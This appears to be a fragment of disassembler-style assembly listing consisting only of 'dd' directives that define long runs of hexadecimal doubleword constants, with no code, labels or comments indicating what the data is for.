		dd 2B680059h, 9BF14AB5h, 5CE9496Eh, 0AB11CC54h,	513135F9h
		dd 88FC4B39h, 6F29BA0h,	1842D57Bh, 51B1A062h, 65AC856Bh
		dd 7918B41Dh, 0A769B08h, 348B9441h, 0A85B06B0h,	0E466804Dh
		dd 19183809h, 0E071AAFBh, 1BE88D67h, 37F1E011h,	0B1920BCh
		dd 0E278404Fh, 2019FC06h, 0BB6F7794h, 38690D08h, 1994FAE1h
		dd 0DA08F0F9h, 4207461h, 83D912F7h, 86893BD8h, 48C633B0h
		dd 90961138h, 28439431h, 0B8434CDFh, 3BB80C7Ah,	3A2078BDh
		dd 62B17E40h, 6622187Fh, 66092C06h, 3088214Ch, 8AE9B33h
		dd 3119861Bh, 0C0706005h, 0D4608C61h, 0E9963867h, 640A992h
		dd 8536C60h, 0FCB7C703h, 0A0B0903Ah, 0C7B324FAh, 0C1A445E0h
		dd 20BCCA9Ah, 0A27C4F68h, 18751A30h, 90A50FDAh,	0CCBEF66Ch
		dd 3A184338h, 73395466h, 0D81A3058h, 0B659BA08h, 688C30CDh
		dd 3D2AAE1h, 4010B960h,	0DE19B672h, 0BF0210BDh,	102D3179h
		dd 0AB01282Ah, 0E0488757h, 10739AE6h, 4C0BA1AEh, 422B1084h
		dd 0FAB081A8h, 59EBF0AFh, 6B953B06h, 3228D891h,	1908ACE3h
		dd 8E38544Eh, 7BC722A7h, 480098B1h, 51A384EBh, 429CD1F3h
		dd 4055A891h, 90580CD0h, 592A3160h, 2057E638h, 0C985BC0h
		dd 0B4F23B24h, 63FBB06h, 8A113118h, 35AF7D8h, 2BB813C3h
		dd 4B0C0AB9h, 4443C03Ch, 0DA405E2Fh, 90C649F1h,	8851A914h
		dd 80180229h, 135D314h,	0CD10126Dh, 9B023ED1h, 5AFC2353h
		dd 0A750814h, 31847E66h, 6483509Fh, 0BD0182Dh, 0A45B1069h
		dd 8B31D490h, 54ED51C1h, 59F4088Ch, 20C41090h, 9492D20Bh
		dd 9B0C60B2h, 85B626Dh,	4C43449Fh, 601886D3h, 35104396h
		dd 0CA20C47Fh, 89D4837Dh, 19080932h, 9778489Ch,	2930C867h
		dd 7E725B06h, 19846208h, 8841620Fh, 3B1086AFh, 7C386AF0h
		dd 201881B1h, 65416B80h, 4420B4D1h, 0C9B7E07Ah,	7407D808h
		dd 5A08AC9Ah, 1844CE48h, 0DA1067FAh, 20A6620Ah,	0DC86BBA8h
		dd 0F73209C8h, 480140BEh, 0A7B58F84h, 0C47D1CB4h, 0D2342394h
		dd 8460C0DCh, 0A283301Bh, 1F4469B0h, 0E45F1C4Ch, 71DA44C8h
		dd 0BBC8FC50h, 0E07A9132h, 5B2C41C5h, 0AC1A9C24h, 84E90E20h
		dd 0F054113Ch, 24095116h, 0C5749160h, 3C48A971h, 0D237F940h
		dd 3811611Eh, 855140B1h, 9B56CB68h, 7504608Bh, 91964FB1h
		dd 38D9124h, 6B31119Bh,	4659C11Eh, 0F1100E5Bh, 21815654h
		dd 140041F6h, 325C98A4h, 0A8947B08h, 0A6C93ADDh, 4C742252h
		dd 298C756h, 9EF2B1BFh,	0AA3180A1h, 0B6F0935Fh,	0F7DBF004h
		dd 0B0CB18C2h, 302D2368h, 113992ABh, 0C995855h,	566AA9C0h
		dd 7129C49Ch, 0C0281177h, 7D16BC3Fh, 0D9518023h, 6C8EA490h
		dd 0CE17AC09h, 0B1F8226Ch, 2EFB01DDh, 26184A54h, 8509FA3Dh
		dd 6E4CA6E7h, 10AF528h,	0C85E231Bh, 0B8446ACCh,	69BF6460h
		dd 204720E7h, 0D24ED113h, 141A4C0Ah, 0F6F80560h, 0EF7900A4h
		dd 0D5CF7F99h, 863719BDh, 8F50080Ch, 7A22964h, 48B0BE3Ch
		dd 93AF31CEh, 0C09DF745h, 7B9F99FBh, 0C962F90Ch, 3C4908C2h
		dd 8907FCFEh, 4363F4E9h
		dd 0C9A1F343h, 7E298BA5h, 50BE839Fh, 99601DABh,	8869074Dh
		dd 0F5E98748h, 123C2849h, 5A202DFCh, 0DBF19D4h,	8C0F68FAh
		dd 0B8A12960h, 911E32F9h, 7EC33F60h, 8F94FD91h,	80FF1B08h
		dd 64163DBAh, 15F431C9h, 0E0618668h, 38A6A609h,	217918F8h
		dd 0DADF90A8h, 8AA88CA9h, 18A069C8h, 3DF1FB67h,	0A08C863Fh
		dd 0F8F970FFh, 0A6A94980h, 93F0C18h, 1F61A25Bh,	8928F662h
		dd 584F38A3h, 0BDE0BB01h, 7F3F9936h, 0E93151B1h, 11111CA8h
		dd 146BFC1Ah, 1894955Fh, 90816E9h, 140D7EBCh, 8CA148B9h
		dd 15DA4E26h, 748124DAh, 5043B48Eh, 0DF187FF4h,	0F57ABD75h
		dd 2B4F8BA0h, 4038A8A1h, 77801AACh, 0C18C6452h,	860C1EA6h
		dd 0D6669F10h, 0F039BD29h, 83C80943h, 2646FCC1h, 0A55370D4h
		dd 18C75814h, 0DFE16E28h, 7950C48Ch, 0F60A70A6h, 294E625Ah
		dd 59057DFFh, 74D95060h, 1FCB4471h, 0BDD7931Eh,	0A3C0A8D1h
		dd 47969DB4h, 25C4E150h, 8064D452h, 94D09C7Ch, 5FECA076h
		dd 50DF5204h, 2B86888Fh, 7F34510Dh, 0D7842851h,	0A17AA803h
		dd 1EB018D1h, 0E8A40D2h, 0E6D570C6h, 93A00928h,	1814FACAh
		dd 28F2900Ch, 419F81F8h, 41681D51h, 0E5820C41h,	0C7B842E0h
		dd 0F7F99082h, 66B9F081h, 2704A0Ah, 0AD69BA98h,	0DF98818Dh
		dd 0E701D6D3h, 6184AE5h, 0EE5B78B9h, 0D3FF12E9h, 1418112Dh
		dd 245CF683h, 0C4A58AEAh, 9C845026h, 0EDA00CA0h, 0B8B34630h
		dd 90F5E23Fh, 95323564h, 10182808h, 34149E0Ch, 735F30B2h
		dd 4580C4D2h, 17C8E2Ah,	0A2526D54h, 280536BCh, 0A8180218h
		dd 9F81F13Dh, 88DA809Eh, 7DB02864h, 485A38C0h, 2008D1F6h
		dd 0B3747E81h, 8EBF10DBh, 244A528h, 70DCBBD9h, 0F2204064h
		dd 8673AD1h, 8FF487Bh, 44F913h,	0A7F6B94Ch, 90A23ACAh
		dd 7918405h, 4A3FFAB4h,	0C22F70A4h, 90A4A3B8h, 64ADBF00h
		dd 612E5A49h, 85E12609h, 8F540894h, 63401103h, 0A442DB49h
		dd 0B5063CCBh, 0B1B67D60h, 45331F01h, 9212D9BEh, 0C4035427h
		dd 4DF543E0h, 0E6B26800h, 88AB3E9h, 9BAD040Dh, 0E8BD32FEh
		dd 0AF2E01F8h, 4F440E3Ah, 4014399Dh, 0E57CEAFDh, 8F4013E9h
		dd 14A053CDh, 970C2848h, 0F360B031h, 9920A260h,	0B06B9851h
		dd 86EC0Ch, 0B4FA9236h,	0F9F48EAAh, 2682501Dh, 8190142Ah
		dd 8000CFAh, 40CAB407h,	0CC039EEh, 6F44ECF6h, 0C3FACF09h
		dd 0D30F453Ch, 0A8830420h, 0EA400D2Ch, 0B0F8FB4Eh, 1E148453h
		dd 2CC89095h, 220A050Bh, 1DB585C5h, 0EDCF0CABh,	56322F68h
		dd 9BB170D2h, 2EA08020h, 0C957B96h, 0EE812AB4h,	14A66CA0h
		dd 1465EB0Fh, 4A10D032h, 47EF3BA2h, 6585BA01h, 0F8F8DFD1h
		dd 0C415536Ah, 805CAF45h, 67FC12EFh, 8A50C241h,	3C94EB3Eh
		dd 7046D30Ch, 15AA5140h, 3C45C233h, 0BE3447C1h,	44CA1075h
		dd 0FC3F4E60h, 2401153Eh, 0A1DE8018h, 80F2962Dh, 0C06068EAh
		dd 3F5FF5A8h, 394A540h,	11F7949Fh, 0CA0AB105h, 0DC2C44E8h
		dd 700C15B1h, 2A14C883h, 0EF008017h, 8F44ED24h,	4FF0CF68h
		dd 34693429h, 12A28C47h, 2B4A211Bh, 0E08C40D5h,	80563F52h
		dd 18DA0238h, 130E6AAh,	4AD4386Ah, 6660024Ch, 0A65E8B18h
		dd 23280EB8h, 4BA824Fh,	94B91829h, 0AF3AA02h, 92102894h
		dd 0CA83BAD3h, 0E0300BC5h, 11B6298Eh, 0F020E649h, 0C0C8001Ch
		dd 0F0017EB0h, 0CD0F4EAAh, 905AC3EAh, 0FF7AC89h, 0E128788Fh
		dd 1DFCFCE7h, 0D978CF0h, 0E108C290h, 1C90D610h,	7AFA469Ch
		dd 3418F40h, 70FCCA98h,	307893F1h, 1C1141CAh, 632CF760h
		dd 2171C0EDh, 3055F473h, 2141353h, 0F5B35239h, 0DC8102DAh
		dd 532BBC60h, 6BCB2900h, 23C5F23Fh, 0D6410090h,	6E4EF611h
		dd 0E000AF8Fh, 5D70BCE1h, 0A6364BCAh, 0E6150414h, 92C1C3h
		dd 0CA20181Ch, 0B1E066Bh, 60BD4BCBh, 8C75CECh, 851F282Bh
		dd 243037EBh, 44AAB2A2h, 0CF04FC78h, 3AEBCA21h,	5871981Ch
		dd 9D850ABh, 0A5418B59h, 0A20B8160h, 19133C8h, 508CE65Ch
		dd 4B08C52Bh, 0CB71197Eh, 61C3953h, 0E3B4A552h,	163C3189h
		dd 0CC772B70h, 34AC73EDh, 0E21E250Ah, 2131089Eh, 9863B48h
		dd 10D07BC8h, 0DFC7490Ch, 60331930h, 182B29E4h,	2D03B29Eh
		dd 34B98968h, 6957A0AFh, 0DE8D1FF5h, 286892h, 0B5F68BE1h
		dd 0BAE2EED7h, 333B03Ch, 38C84B64h, 3F28A6CFh, 8301470Eh
		dd 0A3D9A4BEh, 7F4844D1h, 7F808004h, 681C1Fh, 46CC7840h
		dd 0DCF6DB92h, 8C5F393Ah, 30F3ECDDh, 380ED9D3h,	0D10561E5h
		dd 0D286F0E8h, 34AF8A7Ch, 0B84C4714h, 0CE6D28C8h, 56D2029Ch
		dd 68315F09h, 11FDC0A7h, 0F14093C1h, 3D0C505Dh,	1B88C00Ah
		dd 0B9548434h, 2186FB18h, 22040DB1h, 7548675Bh,	2A0CD56Fh
		dd 12283029h, 0ED430C5Ah, 4318982Ah, 48DB2A21h,	8FC9D21h
		dd 25453E3Fh, 35D61844h, 9FD5921h, 0C52A240Eh, 184D540Ch
		dd 15486C4h, 54A92F30h,	38245285h, 4A110CA5h, 659CAF24h
		dd 4A0C48D5h, 8E02F16Eh, 0CDA3F208h, 10FFDC22h,	914482A2h
		dd 84FE4080h, 5BFD060Fh, 0D42732DAh, 0E6AD6580h, 0C7A300BBh
		dd 0C329B93Bh, 0B500B0E0h, 2BEED6B6h, 0E81270h,	32F654F3h
		dd 0C8F953C2h, 8CE0E549h, 2A30D192h, 3A80172Ch,	0ECC9B145h
		dd 0CF952603h, 52D0355Bh, 0B24C2308h, 3C7D78F8h, 8385A1CEh
		dd 0B22CF42Eh, 0B823003Ah, 0F8905BDAh, 0ED595C0Ch, 5CE0A86Fh
		dd 810C9292h, 5288F491h, 7C2DB924h, 0F0501C21h,	35FD054Fh
		dd 1E34363Dh, 4BB3C058h, 62ACF1FEh, 3B6014F6h, 0D1B05550h
		dd 0F0EF0AE6h, 838CB6B8h, 0B58074CEh, 0B10080E6h, 0D1D36AD8h
		dd 155E7B86h, 0C8A13C3Fh, 172B1060h, 50C0557Ch,	0DA3F84EBh
		dd 35512A98h, 0A58FE14h, 22B5E53Ah, 6980BE34h, 7BF336C6h
		dd 0E90F0C7Eh, 0ECCC0711h, 13F5F09Eh, 0F24FFCh,	7EABBA1Ch
		dd 44006097h, 269C0593h, 3CB77B0h, 0FF74AF7Ah, 0B810FB4Ch
		dd 320AE9D1h, 809C3017h, 0E37A4E7Fh, 0CEEA5910h, 0C864AC04h
		dd 40C1AA42h, 0D3D0DA1Ch, 34A106E4h, 3897E532h,	6819C028h
		dd 80A9A732h, 0A021E73h, 0EB4EEE25h, 0BDC887BAh, 0DCC58961h
		dd 1D7DBE8h, 73B22026h,	0CD0C7724h, 0C5C05145h,	891CE108h
		dd 2090FD11h, 52C85F60h, 3609863h, 2B72B122h, 0C3A78FDFh
		dd 18006486h, 0B6262C8Ch, 498011EAh, 33195C0Dh,	878C39C6h
		dd 0C0EF3918h, 29002BC7h, 116B6404h, 5358128h, 47962D33h
		dd 54F08460h, 0FBCE16B0h, 6A6C4FF8h, 83C7831Eh,	43E3E24Dh
		dd 0D9581907h, 22F974D6h, 4636486Ch, 19403B7Ch,	210F9449h
		dd 25D3F62h, 0F39C0D0h,	1761FC48h, 7320CC49h, 48C43824h
		dd 0E2028028h, 5D3723C0h, 0B2220195h, 74408F8Dh, 73CEC158h
		dd 30C40C02h, 5480D423h, 6E547205h, 0CA91C15Eh,	7DDFF022h
		dd 0C7206D0Ah, 170080EDh, 0C5BF8EEh, 18B2BBh, 7A2DFE7Fh
		dd 0E9CEC7EAh, 33525C06h, 18583715h, 0A149EC17h, 0E51F3990h
		dd 2C0904EFh, 89089814h, 0E33F802Eh, 53FE4A04h,	74808FE5h
		dd 486CFBC3h, 800A64CCh, 81C8CEDBh, 7581EDCFh, 0DDE98CE0h
		dd 0E4DF700Fh, 85E0906Ah, 0E3083F30h, 5FE2E1DFh, 5C0701F1h
		dd 0E16034E8h, 0FC744E00h, 75D3CF7Ah, 0BC7C0004h, 43D40D62h
		dd 76E68ADCh, 0A536F700h, 0D63E3273h, 0F353002Bh, 0CBDEB49Bh
		dd 0E96157BBh, 8818104Ah, 62BDC0h, 97B76BF7h, 0D0F82037h
		dd 0F9C66E00h, 2BDF26A0h, 904B0A95h, 3828AB73h,	0EA9F1Eh
		dd 61EE854Ah, 0EF03A745h
		dd 0D4F61190h, 7751E87Fh, 8FCA3BC6h, 3B813A39h,	0BB535935h
		dd 0D16620E0h, 0E7159900h, 21E5FECAh, 90D703CFh, 966D6A78h
		dd 74A02063h, 0F2E0145Bh, 0F9609305h, 0A35FFF46h, 2B28D960h
		dd 6122118Ah, 0EAA078D5h, 2E70C062h, 0A7489554h, 87B93806h
		dd 90D014BBh, 392F002Ah, 0BA35683Dh, 8D072D09h,	95283277h
		dd 0B3ECE591h, 2EA8FCh,	0ACDCF35Fh, 901362DEh, 53799160h
		dd 30F5E9B9h, 15C07B1Dh, 0C4F4B362h, 6A2F0C03h,	0B81E8C96h
		dd 28D14AEAh, 42586FA3h, 0D7110108h, 0BD079010h, 0A007B9BEh
		dd 80BFA3F8h, 16B1D13Ch, 64F060C0h, 0FE3A8041h,	0CCE55076h
		dd 709F2438h, 1D688308h, 7880C210h, 0EF03A0ACh,	0DB9F066Fh
		dd 11D19BFFh, 5560731h,	54AAA0D3h, 6F28B000h, 0AB81F8DCh
		dd 9D782A80h, 0B2AD0EB8h, 68C16D4Ah, 50586B81h,	0EE9A53D0h
		dd 0D239FCB0h, 0F82C8C79h, 3C73698Fh, 8D2891F5h, 429D4008h
		dd 8918F78Eh, 10D59801h, 2F650D96h, 882F3F5h, 73638BA3h
		dd 75D91C4Bh, 7FF7D04Eh, 0D70BB100h, 0EA9AA5Eh,	0FE8E20Ah
		dd 0DE3439E2h, 7CF543C0h, 39CA8BECh, 7E810495h,	0BB59B6D4h
		dd 17990C40h, 0A0785420h, 0C3B92A56h, 1835F8E4h, 4161A6DAh
		dd 17B2A6Eh, 1CECDE50h,	0D2F21D71h, 6F007C92h, 551F3E9Eh
		dd 1E53107h, 5D360641h,	221215DAh, 7BD5C420h, 9C24C810h
		dd 0C4654504h, 1C8245Dh, 78AFE1D0h, 0D35E0CEh, 0E445A52Ah
		dd 71D0BD0Ch, 2B0C9DAh,	138AEF49h, 2880D5D3h, 902F26BEh
		dd 0BB333E0Fh, 57660396h, 2107C91h, 77AA4B34h, 98856384h
		dd 0C030212Bh, 0F8B19594h, 0E1A90048h, 0D488F3DDh, 4D0D122Ah
		dd 115447B4h, 738EC201h, 0E545B890h, 33BD8200h,	9171CCB4h
		dd 0A734005Ch, 8EF0BEA1h, 5806BCA5h, 0CD03F41Dh, 0FD4B5160h
		dd 1E1298D4h, 80443096h, 9C58EFA3h, 0A0612AD8h,	0B87FFA88h
		dd 73E1F0h, 26102C0Fh, 4B2DC39Dh, 6DD0D41Eh, 0A0DDEC0h
		dd 3CD87C4h, 8E6CE717h,	0C8AC32F7h, 0E61F8934h,	0F4C0E81Ah
		dd 1EC29EB8h, 0C9160019h, 8546D7F9h, 8C009710h,	7AE3C18h
		dd 929B8936h, 0CF350024h, 22D9D46Ch, 0CB078BB9h, 0B80E4C63h
		dd 0BB0D2370h, 39E90034h, 6587025Ch, 97063CFAh,	1043C5F9h
		dd 0D9C11580h, 0D73C946Dh, 8C0332BEh, 0B38EAC72h, 30BDEDF3h
		dd 9E19EB04h, 0C78712Bh, 306CA5DBh, 0E50E818h, 0B64F3E64h
		dd 4D1FC5A0h, 1A7C8B7Eh, 41A43A19h, 770C1319h, 8676A642h
		dd 8A74F21h, 10434CCFh,	0C348F43Dh, 113C4362h, 1F2451DBh
		dd 0FF0C423Ah, 35C218A1h, 18571243h, 0CA15E21h,	0A9DC0C4Bh
		dd 0B30C2F18h, 0C230CA9h, 22334216h, 54DE0A87h,	9C4590h
		dd 230F0A4h, 0D415ED65h, 7A8EC75h, 5D070BE7h, 96B91C11h
		dd 0A8B4EAE0h, 16010B8h, 2561FF5h, 0D789D87Fh, 0A80039C6h
		dd 30D17321h, 3C99EE80h, 9600C771h, 29C0325Eh, 5200E1FBh
		dd 8B022283h, 0BCF79Eh,	0EBF163EEh, 0EAE95164h,	85AD330h
		dd 3CF0434Bh, 0F200D28Ch, 0CC99790Ch, 0B40567C5h, 439F6A4Ah
		dd 64F94C20h, 0B29C3C46h, 7287007Bh, 0E2A5113Bh, 0C400625Ah
		dd 0CE06B64Dh, 0CBC0CFBh, 4AD8E71Dh, 2B009EE0h,	0E111727h
		dd 307042h, 120B8483h, 0D723EBFBh, 0B4C4450Eh, 1C1A8AA3h
		dd 0AD6815C4h, 24B1D150h, 0BFD61600h, 0D7C4DBA5h, 0F7431499h
		dd 1DA8C06Dh, 2E5A6440h, 22D44F9h, 99A5A016h, 0EDBB1480h
		dd 0EA00301Eh, 565AB87Dh, 4A855C4h, 0AD1BCC16h,	3534C0C1h
		dd 0E652C69Ch, 0C374005Ch, 0DA2AA05Fh, 28C900D1h, 27963477h
		dd 5003D5B4h, 0A57FEF6Dh, 2ED1A702h, 0A7C0B356h, 913102BDh
		dd 0DDAA4140h, 6DC7C048h, 3315AE12h, 7A103015h,	2ED5BF03h
		dd 0EDCEF03h, 0A653C329h, 691E764h, 43B1AD45h, 3721E27Eh
		dd 0E04C1714h, 7CCE5E35h, 67B2004Bh, 0C109C42h,	2D24285Dh
		dd 6D00289Eh, 0A9CE19C4h, 38B148B7h, 40952912h,	74EC1C3Ch
		dd 5D289E66h, 0D3001812h, 8528D49Ch, 9A5A38Bh, 173AD8CCh
		dd 0C1515C02h, 0F443744Eh, 2C4DFFB0h, 126CAD00h, 0A9731A1Fh
		dd 48201283h, 590C429Ch, 0CC41EBA2h, 0E0918925h, 0D394A046h
		dd 15285003h, 80DAE286h, 0B7B1AC00h, 0EC2C3749h, 0A5244580h
		dd 987373ACh, 211E2279h, 0A3264D56h, 94284F12h,	0D4A748A9h
		dd 4A9DE5A1h, 0FAA1F1F0h, 1069824h, 907F13A7h, 32F29F8Bh
		dd 166FC004h, 39E17F3Bh, 0E48030FEh, 6E29D572h,	0C512AC4Dh
		dd 0E83AEAECh, 11CEDC56h, 0C832EEA0h, 0B6007DB8h, 82F1094Ah
		dd 0AEE4EF62h, 65D10184h, 3AD3797Eh, 0B1A04080h, 15039D0Ch
		dd 172EA618h, 7586A010h, 0EEED73D5h, 0DCA200E9h, 52A57CEEh
		dd 0C1195A8Bh, 0A130739Ah, 0ED0820h, 5E99C5E8h,	0FB2E6F22h
		dd 0A92CC705h, 0D002DF2Bh, 240AADF3h, 0E180C12Dh, 0FEAD049h
		dd 643B8C24h, 733A9357h, 84909508h, 71073B79h, 7F5A2E3Eh
		dd 0DA7214C0h, 0EC320229h, 9FE5A4DBh, 0A3780C45h, 51873044h
		dd 0D9171AD8h, 6D130491h, 2D5D3404h, 2BCDA905h,	29DBC0FCh
		dd 0A845438h, 7F0AE2A4h, 0F4FC41F4h, 0FE4AC4A3h, 84803A53h
		dd 7B138838h, 19F50B28h, 88E81E1Dh, 9AA1190h, 4EA9C542h
		dd 0EA981421h, 0B376E0DAh, 842911C9h, 0F5ECD84h, 140AC9C8h
		dd 0CEA10218h, 3911706Fh, 30AB1098h, 7A3AE720h,	80FA3A2Ch
		dd 94593CB0h, 0F2AC7104h, 0F9B3009Dh, 0C33E985Bh, 36007D1Dh
		dd 2584DE59h, 356D858h,	0EE40FA1Fh, 4000F63Ah, 0F8E48B38h
		dd 64A8AA4h, 45ACBC42h,	0E700489Fh, 1C734EC2h, 0BE0CDDA7h
		dd 6CC000E4h, 0E9B23AFBh, 7F8B5B00h, 881F06BBh,	0A5B130E4h
		dd 47A0EE48h, 0AEE92401h, 20294238h, 4018A899h,	0F0A08878h
		dd 16ED0310h, 49003A5Ah, 60EC6ACBh, 0C046D46Bh,	0AA2DFA38h
		dd 0B81E5824h, 0E003993h, 410FAF60h, 89160A4h, 585C4C29h
		dd 40300267h, 1874048Ah, 103C0CC5h, 0A40044C1h,	9FFD06B0h
		dd 39BCF5ABh, 0B280827Eh, 9628C5F9h, 451FEA57h,	28B1AD5Ch
		dd 4310AA8Bh, 0E480B55Bh, 0B9668897h, 0AC2751C4h, 48083E44h
		dd 5A634110h, 20B302B1h, 2A913240h, 7C54AD00h, 0D925D680h
		dd 0F1F0073Bh, 309A55C0h, 0E305302Ch, 0FD90B91Eh, 13DA2580h
		dd 0D7675Fh, 0BA12C471h, 658EE27Bh, 795E2D00h, 25740175h
		dd 1A68003Ah, 371887E6h, 0FDEA8FD6h, 8A8E7E00h,	5139DB84h
		dd 0C5C9008Ch, 0A820B063h, 2AE8C483h, 1C8F2501h, 0D646274Bh
		dd 0E958E8h, 0DDFDEBC6h, 5B133480h, 29539900h, 0A8A29B1Bh
		dd 728700AAh, 95F1D43Fh, 320FD706h, 408DE3FCh, 0BF047F45h
		dd 46FD005Bh, 1F2778F3h, 97000B2Bh, 0D76B388Bh,	2125B9h
		dd 2E69A3Fh, 0F4C656B2h, 6E0E86FEh, 87DDF9A9h, 6F8085B9h
		dd 77C980h, 0BC5835D1h,	2B2356DBh, 6CD2C500h, 67A2BFCBh
		dd 0DF98007Ch, 0C239EE3Ah, 3607DDC6h, 35F86B75h, 2C218FB0h
		dd 98D20019h, 15E716E6h, 0B3F002EBh, 284B8100h,	0BD4E5373h
		dd 0A6B400CBh, 8D7CDAB1h, 2F0080BCh, 8564D62Ch,	796841h
		dd 1B60D549h, 982D74B9h, 8ABD7618h, 266A3610h, 343D88Bh
		dd 0E59737CDh, 0B74A7DC8h, 90C6B21Fh, 6873FB43h, 0B28903Eh
		dd 800D50DBh, 0F33D1CD2h, 9F007ACEh, 0B950497Dh, 0EA0068BCh
		dd 0CC45AF52h, 50D3A45Bh, 3C2B80Ah, 0AC9AC9D7h,	67D7C4E2h
		dd 8B485CFDh, 9CF5C00h,	98E0911Dh, 0A2E622h, 399AC7FFh
		dd 194FA580h, 0DF00CC7Fh, 2DB17055h, 74D41h, 0D0B20109h
		dd 0AF7F08C3h, 4A07C1E8h
		dd 0E4931D62h, 0AE6AA09Fh, 3B8CABDFh, 5E80F7B5h, 0A85C8269h
		dd 90025B0Dh, 0F027F9BFh, 0AE706095h, 719400A6h, 0CA50FB4h
		dd 6D02EB34h, 2957BB3Ch, 8B58C037h, 8D5500ECh, 0AEB3046Fh
		dd 0FB037B60h, 174C20B7h, 8813D04Ah, 2EE2DCh, 23BEAB77h
		dd 7F64AAA4h, 0E81ABC28h, 31E9200h, 76F40E0Bh, 4F680009h
		dd 5542332Ch, 5B7857BFh, 7EA2C900h, 2F84DF5h, 18F00Eh
		dd 6273A420h, 0B2895A99h, 2864AD00h, 2DF78B8Dh,	0D6B93853h
		dd 0C7817880h, 3EB02631h, 0B2EC3Ch, 0C4D2DA37h,	3C60FDh
		dd 5A239BF3h, 4AB7FEBFh, 263A1300h, 0AB18E8A9h,	9CECA5FCh
		dd 2412C25Eh, 1C40E7C8h, 2F00B6B0h, 8886C31Dh, 4861B1DAh
		dd 84000C99h, 85EA81E0h, 24053F69h, 5D42ED51h, 0F7B9D800h
		dd 3CF4B0B7h, 0DC005F31h, 512A6F7Ah, 0AC000B35h, 0FBA5D761h
		dd 0E2DFC9F7h, 0CF7500E9h, 0E369CBA9h, 51392F78h, 0F7150E29h
		dd 91D204Fh, 76B8B095h,	0B52013BDh, 58EF00AAh, 0B263CB21h
		dd 30B62500h, 0F4F7A503h, 0E9A83F47h, 884E07F2h, 0E071269Bh
		dd 0CD10C81Eh, 0A09E2E07h, 0F0706592h, 0E8946F9h, 71BF1BFFh
		dd 0FCAD1820h, 3F249A5Fh, 0D5075CCBh, 0D1F01CC5h, 0C266C4h
		dd 0C6DE294Fh, 768B0FEFh, 170034EEh, 67EE39F5h,	0C4BF98h
		dd 11BE8EA3h, 0E8582DBAh, 80376A00h, 23D976E3h,	0E4F100ADh
		dd 0EFEE95DDh, 8200C46Eh, 557D431Ah, 482DC911h,	79BC26h
		dd 218CBEBDh, 65CB6A45h, 88DBDE00h, 3E845105h, 60A1E9Ah
		dd 91A84744h, 8E947058h, 7700DBACh, 0BEC49057h,	1F846C7h
		dd 0E56F80D0h, 0E4567C3Ch, 10034CAh, 8D858B02h,	3D15D75h
		dd 800EFE86h, 565850A1h, 7E300B7h, 607D6E1Eh, 6CBA2E4Bh
		dd 8EE900E1h, 0CA539A89h, 0F2595E00h, 0D60AA3CFh, 5A7271h
		dd 0C9793FBAh, 0EC01BB09h, 6B20AD00h, 0FB27B623h, 4BF4F4h
		dd 64062E2Bh, 0CDC2A34Ah, 894C8200h, 49195EE8h,	4E20E326h
		dd 7CA4011Dh, 0A22BBB12h, 0A632DCB2h, 767D7303h, 0A08DE672h
		dd 72317440h, 0C0637454h, 0F8DE02F4h, 8C7DDCDDh, 0CF530601h
		dd 8AAF397Ch, 7C589CD0h, 55570064h, 0B3EBB81Ah,	93A006C1h
		dd 0B902682Ah, 0BE24DDF3h, 5CF1C01Dh, 9C6C00E9h, 4759C8EFh
		dd 5000A2FDh, 9B3B5728h, 7C6D49h, 86EA8EE6h, 0A6E1F6CCh
		dd 11132700h, 31AC9714h, 94D10039h, 51868D99h, 6700430Eh
		dd 7A68029h, 0B37240h, 1C12B756h, 0E469DEE0h, 61A4F000h
		dd 83E16694h, 7B6F13D9h, 6100BB77h, 0E2462D47h,	18C0FCFCh
		dd 0BEBED4EAh, 5E13203Ah, 0C4007421h, 10BFCF5Bh, 47550F30h
		dd 63A059DCh, 0E73FBB15h, 93006D7Bh, 0E1616A28h, 0C539D5h
		dd 76FC175Ah, 0A99B5F03h, 0B2D63Bh, 66BEEBCEh, 13551A32h
		dd 1C3463B3h, 0ABC180A4h, 0FC6806FEh, 41C00900h, 3001BC07h
		dd 62DAECA1h, 152328E2h, 86C69FE0h, 0A5C7C900h,	0B5E4E5A6h
		dd 0F7F4008Eh, 13225C18h, 0A40224BEh, 0DC3DE197h, 32A060F9h
		dd 75E31D7Fh, 68C6C0AAh, 12901A8Ch, 0A386307h, 8650FB28h
		dd 0D65A83h, 0EE23642Ah, 0D3C0F9ADh, 3D35FEC0h,	52887Fh
		dd 2E988558h, 0B955F3D5h, 0D900B671h, 179ECF4Ch, 0DDAEA6h
		dd 9DA85D66h, 0F00BDC0Dh, 0C2A2BE00h, 0E8CE04B5h, 1D90984Ah
		dd 40450625h, 0CACDF55Ah, 9400DB30h, 5BDF1ED0h,	3C7C4875h
		dd 0C601FA74h, 42D131E4h, 0D284402Ch, 7D000A73h, 604117DEh
		dd 3B513098h, 0D6987505h, 35CC4891h, 0B5102117h, 1F9D1440h
		dd 3FD4D5A8h, 0DFBA4D14h, 1B23D081h, 0D650033Ah, 0E81F6A7Ch
		dd 9E379081h, 35DC5696h, 0A7410091h, 1AEA3FCBh,	0C200DDB9h
		dd 8732FEEBh, 70CC30h, 0FFD436A1h, 0E8F2EACAh, 63270700h
		dd 5BDDFC2Ch, 58680248h, 0E12080B2h, 0A4D8E360h, 6200E5EEh
		dd 0D366B91Ch, 0B6782Ah, 414A0D87h, 0A10BC401h,	7706D8E5h
		dd 8D74D00h, 9F16C1FCh,	79DC0774h, 0C025987Bh, 9A3DD3D5h
		dd 89023516h, 0B6033401h, 2A56AAh, 5FF8808Bh, 1D00AF43h
		dd 0CD421F32h, 28520502h, 0C4A7C0h, 0C733CCEh, 2E9A1B9Eh
		dd 1856E630h, 12C49675h, 0F627172h, 49A0151Ah, 109A838Fh
		dd 6756BD17h, 6EEAEC40h, 589553h, 0AB6D4F55h, 86999207h
		dd 0B7E22100h, 0DB7E2031h, 13B0D4h, 80BEF795h, 0B9523BD3h
		dd 0A32EFD05h, 0CD808825h, 0AE78Ah, 771EDD6Eh, 0E650AFDCh
		dd 2538F760h, 7D7ECB7h,	1A78D08Ch, 0B24FE067h, 0AA007A17h
		dd 5BD9F721h, 3DDF98Dh,	232C771Bh, 89902798h, 0E200B075h
		dd 1D92EA5h, 39705B84h,	1A001854h, 0ABB47D60h, 4CE07408h
		dd 9AA7100h, 3F19395Ah,	5F3E0089h, 4ADEF64Bh, 230ECC6Fh
		dd 3D980B01h, 75046981h, 7DF89A59h, 835800DDh, 0F8086070h
		dd 9100A5ABh, 45A68D9Fh, 7774BC93h, 1DD178DFh, 6812C37Dh
		dd 2A8000F9h, 9370D71Fh, 88000679h, 0FEB7D285h,	0B0E696h
		dd 4E100E9Eh, 4595A0Dh,	0D1E40C00h, 8525DD02h, 0EA420194h
